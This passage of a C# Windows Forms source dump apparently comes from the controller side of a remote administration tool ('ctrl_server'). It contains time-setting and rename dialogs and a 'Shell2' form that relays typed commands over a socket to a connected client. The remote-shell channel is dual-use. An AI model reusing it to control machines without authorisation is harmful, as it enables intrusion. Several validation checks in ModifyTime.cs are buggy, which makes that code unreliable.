124 | True
125 |
126 |
127 | True
128 |
129 |
130 | True
131 |
132 |
133 | True
134 |
135 |
136 | True
137 |
138 |
139 | True
140 |
141 |
142 | True
143 |
144 |
145 | 17, 17
146 |
147 |
148 | 174, 17
149 |
150 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ModifyTime.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class ModifyTime
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.button1 = new System.Windows.Forms.Button();
32 | this.button2 = new System.Windows.Forms.Button();
33 | this.label1 = new System.Windows.Forms.Label();
34 | this.label2 = new System.Windows.Forms.Label();
35 | this.label3 = new System.Windows.Forms.Label();
36 | this.label4 = new System.Windows.Forms.Label();
37 | this.label5 = new System.Windows.Forms.Label();
38 | this.label6 = new System.Windows.Forms.Label();
39 | this.txtYY = new System.Windows.Forms.TextBox();
40 | this.txtMM = new System.Windows.Forms.TextBox();
41 | this.txtDD = new System.Windows.Forms.TextBox();
42 | this.txtHH = new System.Windows.Forms.TextBox();
43 | this.txtmin = new System.Windows.Forms.TextBox();
44 | this.txtsec = new System.Windows.Forms.TextBox();
45 | this.SuspendLayout();
46 | //
47 | // button1
48 | //
49 | this.button1.Location = new System.Drawing.Point(107, 113);
50 | this.button1.Name = "button1";
51 | this.button1.Size = new System.Drawing.Size(75, 23);
52 | this.button1.TabIndex = 0;
53 | this.button1.Text = "OK";
54 | this.button1.UseVisualStyleBackColor = true;
55 | this.button1.Click += new System.EventHandler(this.button1_Click);
56 | //
57 | // button2
58 | //
59 | this.button2.Location = new System.Drawing.Point(255, 113);
60 | this.button2.Name = "button2";
61 | this.button2.Size = new System.Drawing.Size(75, 23);
62 | this.button2.TabIndex = 1;
63 | this.button2.Text = "Cancel";
64 | this.button2.UseVisualStyleBackColor = true;
65 | this.button2.Click += new System.EventHandler(this.button2_Click);
66 | //
67 | // label1
68 | //
69 | this.label1.AutoSize = true;
70 | this.label1.Location = new System.Drawing.Point(22, 55);
71 | this.label1.Name = "label1";
72 | this.label1.Size = new System.Drawing.Size(41, 12);
73 | this.label1.TabIndex = 2;
74 | this.label1.Text = "时间:";
75 | //
76 | // label2
77 | //
78 | this.label2.AutoSize = true;
79 | this.label2.Location = new System.Drawing.Point(130, 55);
80 | this.label2.Name = "label2";
81 | this.label2.Size = new System.Drawing.Size(17, 12);
82 | this.label2.TabIndex = 3;
83 | this.label2.Text = "年";
84 | //
85 | // label3
86 | //
87 | this.label3.AutoSize = true;
88 | this.label3.Location = new System.Drawing.Point(227, 55);
89 | this.label3.Name = "label3";
90 | this.label3.Size = new System.Drawing.Size(17, 12);
91 | this.label3.TabIndex = 4;
92 | this.label3.Text = "日";
93 | //
94 | // label4
95 | //
96 | this.label4.AutoSize = true;
97 | this.label4.Location = new System.Drawing.Point(181, 55);
98 | this.label4.Name = "label4";
99 | this.label4.Size = new System.Drawing.Size(17, 12);
100 | this.label4.TabIndex = 5;
101 | this.label4.Text = "月";
102 | //
103 | // label5
104 | //
105 | this.label5.AutoSize = true;
106 | this.label5.Location = new System.Drawing.Point(302, 55);
107 | this.label5.Name = "label5";
108 | this.label5.Size = new System.Drawing.Size(11, 12);
109 | this.label5.TabIndex = 6;
110 | this.label5.Text = ":";
111 | //
112 | // label6
113 | //
114 | this.label6.AutoSize = true;
115 | this.label6.Location = new System.Drawing.Point(337, 55);
116 | this.label6.Name = "label6";
117 | this.label6.Size = new System.Drawing.Size(11, 12);
118 | this.label6.TabIndex = 7;
119 | this.label6.Text = ":";
120 | //
121 | // txtYY
122 | //
123 | this.txtYY.AcceptsReturn = true;
124 | this.txtYY.Location = new System.Drawing.Point(91, 52);
125 | this.txtYY.MaxLength = 4;
126 | this.txtYY.Name = "txtYY";
127 | this.txtYY.Size = new System.Drawing.Size(33, 21);
128 | this.txtYY.TabIndex = 8;
129 | this.txtYY.Text = "2012";
130 | //
131 | // txtMM
132 | //
133 | this.txtMM.Location = new System.Drawing.Point(153, 52);
134 | this.txtMM.MaxLength = 2;
135 | this.txtMM.Name = "txtMM";
136 | this.txtMM.Size = new System.Drawing.Size(22, 21);
137 | this.txtMM.TabIndex = 9;
138 | this.txtMM.Text = "12";
139 | //
140 | // txtDD
141 | //
142 | this.txtDD.Location = new System.Drawing.Point(204, 52);
143 | this.txtDD.MaxLength = 2;
144 | this.txtDD.Name = "txtDD";
145 | this.txtDD.Size = new System.Drawing.Size(17, 21);
146 | this.txtDD.TabIndex = 10;
147 | this.txtDD.Text = "12";
148 | //
149 | // txtHH
150 | //
151 | this.txtHH.Location = new System.Drawing.Point(275, 52);
152 | this.txtHH.MaxLength = 2;
153 | this.txtHH.Name = "txtHH";
154 | this.txtHH.Size = new System.Drawing.Size(21, 21);
155 | this.txtHH.TabIndex = 11;
156 | this.txtHH.Text = "11";
157 | //
158 | // txtmin
159 | //
160 | this.txtmin.Location = new System.Drawing.Point(310, 52);
161 | this.txtmin.MaxLength = 2;
162 | this.txtmin.Name = "txtmin";
163 | this.txtmin.Size = new System.Drawing.Size(21, 21);
164 | this.txtmin.TabIndex = 12;
165 | this.txtmin.Text = "11";
166 | //
167 | // txtsec
168 | //
169 | this.txtsec.Location = new System.Drawing.Point(354, 52);
170 | this.txtsec.MaxLength = 2;
171 | this.txtsec.Name = "txtsec";
172 | this.txtsec.Size = new System.Drawing.Size(21, 21);
173 | this.txtsec.TabIndex = 13;
174 | this.txtsec.Text = "11";
175 | //
176 | // ModifyTime
177 | //
178 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
179 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
180 | this.ClientSize = new System.Drawing.Size(434, 163);
181 | this.Controls.Add(this.txtsec);
182 | this.Controls.Add(this.txtmin);
183 | this.Controls.Add(this.txtHH);
184 | this.Controls.Add(this.txtDD);
185 | this.Controls.Add(this.txtMM);
186 | this.Controls.Add(this.txtYY);
187 | this.Controls.Add(this.label6);
188 | this.Controls.Add(this.label5);
189 | this.Controls.Add(this.label4);
190 | this.Controls.Add(this.label3);
191 | this.Controls.Add(this.label2);
192 | this.Controls.Add(this.label1);
193 | this.Controls.Add(this.button2);
194 | this.Controls.Add(this.button1);
195 | this.Name = "ModifyTime";
196 | this.ShowInTaskbar = false;
197 | this.Text = "ModifyTime";
198 | this.Load += new System.EventHandler(this.ModifyTime_Load);
199 | this.ResumeLayout(false);
200 | this.PerformLayout();
201 |
202 | }
203 |
204 | #endregion
205 |
206 | private System.Windows.Forms.Button button1;
207 | private System.Windows.Forms.Button button2;
208 | private System.Windows.Forms.Label label1;
209 | private System.Windows.Forms.Label label2;
210 | private System.Windows.Forms.Label label3;
211 | private System.Windows.Forms.Label label4;
212 | private System.Windows.Forms.Label label5;
213 | private System.Windows.Forms.Label label6;
214 | private System.Windows.Forms.TextBox txtYY;
215 | private System.Windows.Forms.TextBox txtMM;
216 | private System.Windows.Forms.TextBox txtDD;
217 | private System.Windows.Forms.TextBox txtHH;
218 | private System.Windows.Forms.TextBox txtmin;
219 | private System.Windows.Forms.TextBox txtsec;
220 | }
221 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ModifyTime.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace ctrl_server
11 | {
12 | public partial class ModifyTime : Form
13 | {
14 | public ModifyTime()
15 | {
16 | InitializeComponent();
17 | }
18 | string time;
19 | private void ModifyTime_Load(object sender, EventArgs e)
20 | {
21 | DateTime datetime = DateTime.Now.ToLocalTime();
22 | txtYY.Text = datetime.Year.ToString();
23 | txtMM.Text = datetime.Month.ToString();
24 | txtDD.Text = datetime.Day.ToString();
25 | txtHH.Text = datetime.Hour.ToString();
26 | txtmin.Text = datetime.Hour.ToString();
27 | txtsec.Text = datetime.Second.ToString();
28 | }
29 |
30 | private void button1_Click(object sender, EventArgs e)
31 | {
32 | time = "";
33 | if (txtYY.Text.Length != 4)
34 | {
35 | MessageBox.Show("年份是4位数");
36 | return;
37 | }
38 | time += txtYY.Text;
39 | if (txtMM.Text.Length != 2)
40 | {
41 | MessageBox.Show("月份是2位数");
42 | return;
43 | }
44 | time += txtMM.Text;
45 | if (txtDD.Text.Length != 4)
46 | {
47 | MessageBox.Show("天是2位数");
48 | return;
49 | }
50 | time += txtDD.Text;
51 | if (txtHH.Text.Length != 4)
52 | {
53 | MessageBox.Show("时是2位数");
54 | return;
55 | }
56 | time += txtHH.Text;
57 |
58 | }
59 |
60 | private void button2_Click(object sender, EventArgs e)
61 | {
62 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
63 | this.Close();
64 | return;
65 | }
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ModifyTime.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace ctrl_server
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// 应用程序的主入口点。
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Form1());
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过以下
6 | // 特性集控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("ctrl_server")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("ctrl_server")]
13 | [assembly: AssemblyCopyright("Copyright © 2013")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("ac1214d8-ce0e-489d-9950-0886f4179edf")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本: 4.0.30319.1008
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace ctrl_server.Properties
12 | {
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// 返回此类使用的、缓存的 ResourceManager 实例。
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ctrl_server.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// 为所有资源查找重写当前线程的 CurrentUICulture 属性,
56 | /// 方法是使用此强类型资源类。
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.1008
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace ctrl_server.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/RenameForm.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class Rename
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.textBox1 = new System.Windows.Forms.TextBox();
33 | this.button1 = new System.Windows.Forms.Button();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.SuspendLayout();
36 | //
37 | // label1
38 | //
39 | this.label1.AutoSize = true;
40 | this.label1.Location = new System.Drawing.Point(31, 41);
41 | this.label1.Name = "label1";
42 | this.label1.Size = new System.Drawing.Size(53, 12);
43 | this.label1.TabIndex = 0;
44 | this.label1.Text = "重命名为";
45 | //
46 | // textBox1
47 | //
48 | this.textBox1.Location = new System.Drawing.Point(90, 38);
49 | this.textBox1.Name = "textBox1";
50 | this.textBox1.Size = new System.Drawing.Size(261, 21);
51 | this.textBox1.TabIndex = 1;
52 | //
53 | // button1
54 | //
55 | this.button1.Location = new System.Drawing.Point(90, 88);
56 | this.button1.Name = "button1";
57 | this.button1.Size = new System.Drawing.Size(75, 23);
58 | this.button1.TabIndex = 2;
59 | this.button1.Text = "OK";
60 | this.button1.UseVisualStyleBackColor = true;
61 | this.button1.Click += new System.EventHandler(this.button1_Click);
62 | //
63 | // button2
64 | //
65 | this.button2.Location = new System.Drawing.Point(232, 88);
66 | this.button2.Name = "button2";
67 | this.button2.Size = new System.Drawing.Size(75, 23);
68 | this.button2.TabIndex = 3;
69 | this.button2.Text = "Cancel";
70 | this.button2.UseVisualStyleBackColor = true;
71 | this.button2.Click += new System.EventHandler(this.button2_Click);
72 | //
73 | // Rename
74 | //
75 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
76 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
77 | this.ClientSize = new System.Drawing.Size(408, 148);
78 | this.Controls.Add(this.button2);
79 | this.Controls.Add(this.button1);
80 | this.Controls.Add(this.textBox1);
81 | this.Controls.Add(this.label1);
82 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
83 | this.MaximizeBox = false;
84 | this.MinimizeBox = false;
85 | this.Name = "Rename";
86 | this.Text = "RanameForm";
87 | this.Load += new System.EventHandler(this.RanameForm_Load);
88 | this.ResumeLayout(false);
89 | this.PerformLayout();
90 |
91 | }
92 |
93 | #endregion
94 |
95 | private System.Windows.Forms.Label label1;
96 | private System.Windows.Forms.TextBox textBox1;
97 | private System.Windows.Forms.Button button1;
98 | private System.Windows.Forms.Button button2;
99 | }
100 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/RenameForm.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace ctrl_server
11 | {
12 | public partial class Rename : Form
13 | {
14 | public string filename;
15 | public Rename()
16 | {
17 | InitializeComponent();
18 | }
19 |
20 | private void RanameForm_Load(object sender, EventArgs e)
21 | {
22 | if (filename != null)
23 | textBox1.Text = filename;
24 | }
25 |
26 | private void button1_Click(object sender, EventArgs e)
27 | {
28 | if (textBox1.Text == "")
29 | {
30 | MessageBox.Show("文件名不为空。");
31 | return;
32 | }
33 | if (textBox1.Text == filename)
34 | {
35 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
36 | this.Close();
37 | return;
38 | }
39 | filename = textBox1.Text;
40 | this.DialogResult = System.Windows.Forms.DialogResult.OK;
41 | this.Close();
42 | }
43 |
44 | private void button2_Click(object sender, EventArgs e)
45 | {
46 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
47 | this.Close();
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/RenameForm.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Shell2.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class Shell2
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.btnStartShell = new System.Windows.Forms.Button();
32 | this.rtxtContent = new System.Windows.Forms.RichTextBox();
33 | this.btnExecuteCmd = new System.Windows.Forms.Button();
34 | this.txtcmd = new System.Windows.Forms.TextBox();
35 | this.SuspendLayout();
36 | //
37 | // btnStartShell
38 | //
39 | this.btnStartShell.Location = new System.Drawing.Point(811, 12);
40 | this.btnStartShell.Name = "btnStartShell";
41 | this.btnStartShell.Size = new System.Drawing.Size(75, 23);
42 | this.btnStartShell.TabIndex = 0;
43 | this.btnStartShell.Text = "Start";
44 | this.btnStartShell.UseVisualStyleBackColor = true;
45 | this.btnStartShell.Click += new System.EventHandler(this.btnStartShell_Click);
46 | //
47 | // rtxtContent
48 | //
49 | this.rtxtContent.Location = new System.Drawing.Point(12, 41);
50 | this.rtxtContent.Name = "rtxtContent";
51 | this.rtxtContent.ReadOnly = true;
52 | this.rtxtContent.Size = new System.Drawing.Size(883, 456);
53 | this.rtxtContent.TabIndex = 1;
54 | this.rtxtContent.Text = "";
55 | //
56 | // btnExecuteCmd
57 | //
58 | this.btnExecuteCmd.Enabled = false;
59 | this.btnExecuteCmd.Location = new System.Drawing.Point(811, 512);
60 | this.btnExecuteCmd.Name = "btnExecuteCmd";
61 | this.btnExecuteCmd.Size = new System.Drawing.Size(75, 23);
62 | this.btnExecuteCmd.TabIndex = 2;
63 | this.btnExecuteCmd.Text = "Execute";
64 | this.btnExecuteCmd.UseVisualStyleBackColor = true;
65 | this.btnExecuteCmd.Click += new System.EventHandler(this.btnExecuteCmd_Click);
66 | //
67 | // txtcmd
68 | //
69 | this.txtcmd.Location = new System.Drawing.Point(12, 512);
70 | this.txtcmd.Name = "txtcmd";
71 | this.txtcmd.Size = new System.Drawing.Size(777, 21);
72 | this.txtcmd.TabIndex = 3;
73 | this.txtcmd.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtcmd_KeyDown);
74 | //
75 | // Shell2
76 | //
77 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
78 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
79 | this.ClientSize = new System.Drawing.Size(907, 547);
80 | this.Controls.Add(this.txtcmd);
81 | this.Controls.Add(this.btnExecuteCmd);
82 | this.Controls.Add(this.rtxtContent);
83 | this.Controls.Add(this.btnStartShell);
84 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
85 | this.MaximizeBox = false;
86 | this.Name = "Shell2";
87 | this.Text = "Shell2";
88 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Shell2_FormClosing);
89 | this.Load += new System.EventHandler(this.Shell2_Load);
90 | this.ResumeLayout(false);
91 | this.PerformLayout();
92 |
93 | }
94 |
95 | #endregion
96 |
97 | private System.Windows.Forms.Button btnStartShell;
98 | private System.Windows.Forms.RichTextBox rtxtContent;
99 | private System.Windows.Forms.Button btnExecuteCmd;
100 | private System.Windows.Forms.TextBox txtcmd;
101 | }
102 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Shell2.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 | using System.Net.Sockets;
10 |
11 | namespace ctrl_server
12 | {
13 | public partial class Shell2 : Form
14 | {
15 | public Socket clientSocket;
16 | private Socket res_client;
17 |
18 | private delegate void recvResDelegate(object param);
19 | void rtxtContentAppend(object obj)
20 | {
21 | string content = (string)obj;
22 | rtxtContent.Text += content.ToString();
23 | // 让光标定位到文本框末尾
24 | rtxtContent.Select(rtxtContent.TextLength, 0);
25 |
26 | //然后移动滚动条,使输入点(text entry point)(即光标所在的位置)显示出来
27 | //这样也可以达到滚动到最下方的目的
28 | rtxtContent.ScrollToCaret();
29 | }
30 |
31 | public Shell2()
32 | {
33 | InitializeComponent();
34 | }
35 |
36 |
37 |
38 | private void Shell2_Load(object sender, EventArgs e)
39 | {
40 | btnExecuteCmd.Enabled = false;
41 | txtcmd.Enabled = false;
42 | rtxtContent.Text = "";
43 | }
44 |
45 | private void btnStartShell_Click(object sender, EventArgs e)
46 | {
47 | if (btnStartShell.Text == "Start")
48 | {
49 | if (clientSocket == null)
50 | {
51 | MessageBox.Show("客户Socket为空!!!");
52 | return;
53 | }
54 | rtxtContent.Text = "";
55 | string cmd = "SHELL2\n";
56 | clientSocket.Send(Encoding.UTF8.GetBytes(cmd));
57 |
58 | Form1.allDone.WaitOne();
59 | res_client = Form1.resClientSocket;
60 | Form1.resClientSocket = null;
61 | Form1.allDone.Reset();
62 | if (res_client == null)
63 | {
64 | MessageBox.Show("接收反馈出错");
65 | return;
66 | }
67 | StateObject state = new StateObject();
68 | state.workSocket = res_client;
69 | res_client.BeginReceive(state.buffer, 0, state.buffer.Length,
70 | 0,new AsyncCallback(OnReceive), state);
71 | btnStartShell.Text = "Stop";
72 | btnExecuteCmd.Enabled = true;
73 | txtcmd.Enabled = true;
74 | }
75 | else if (btnStartShell.Text == "Stop")
76 | {
77 | res_client.Close();
78 | res_client = null;
79 | btnExecuteCmd.Enabled = false;
80 | btnStartShell.Text = "Start";
81 | txtcmd.Enabled = false;
82 | }
83 | }
84 |
85 | private void OnReceive(IAsyncResult ar)
86 | {
87 | String content = String.Empty;
88 | // Retrieve the state object and the handler socket
89 | // from the asynchronous state object.
90 | StateObject state = (StateObject)ar.AsyncState;
91 | Socket handler = state.workSocket;
92 | // Read data from the client socket.
93 | try
94 | {
95 | int bytesRead = handler.EndReceive(ar);
96 |
97 | if (bytesRead > 0)
98 | {
99 | // There might be more data, so store the data received so far.
100 | state.sb.Append(Encoding.UTF8.GetString(
101 | state.buffer, 0, bytesRead));
102 | // Check for end-of-file tag. If it is not there, read
103 | // more data.
104 | content = state.sb.ToString();
105 | StateObject state2 = new StateObject();
106 | state2.workSocket = handler;
107 |
108 | rtxtContent.BeginInvoke(new recvResDelegate(rtxtContentAppend), content);
109 | handler.BeginReceive(state2.buffer, 0, state2.buffer.Length,
110 | 0, new AsyncCallback(OnReceive), state2);
111 | }
112 | else
113 | {
114 |
115 |
116 | }
117 | }
118 | catch
119 | {
120 |
121 | }
122 | }
123 | private void btnExecuteCmd_Click(object sender, EventArgs e)
124 | {
125 | try
126 | {
127 | byte[] buf = Encoding.UTF8.GetBytes(txtcmd.Text + "\n");
128 | rtxtContent.Text += "$" + txtcmd.Text + "\r\n";
129 | res_client.Send(buf);
130 | }
131 | catch (Exception ex)
132 | {
133 | MessageBox.Show(ex.Message);
134 | }
135 | txtcmd.Text = "";
136 |
137 | }
138 |
139 | private void Shell2_FormClosing(object sender, FormClosingEventArgs e)
140 | {
141 | if (res_client != null)
142 | {
143 | res_client.Close();
144 | }
145 |
146 | }
147 |
148 | private void txtcmd_KeyDown(object sender, KeyEventArgs e)
149 | {
150 |
151 | if (e.KeyCode == Keys.Enter)
152 | {
153 | e.Handled = true;
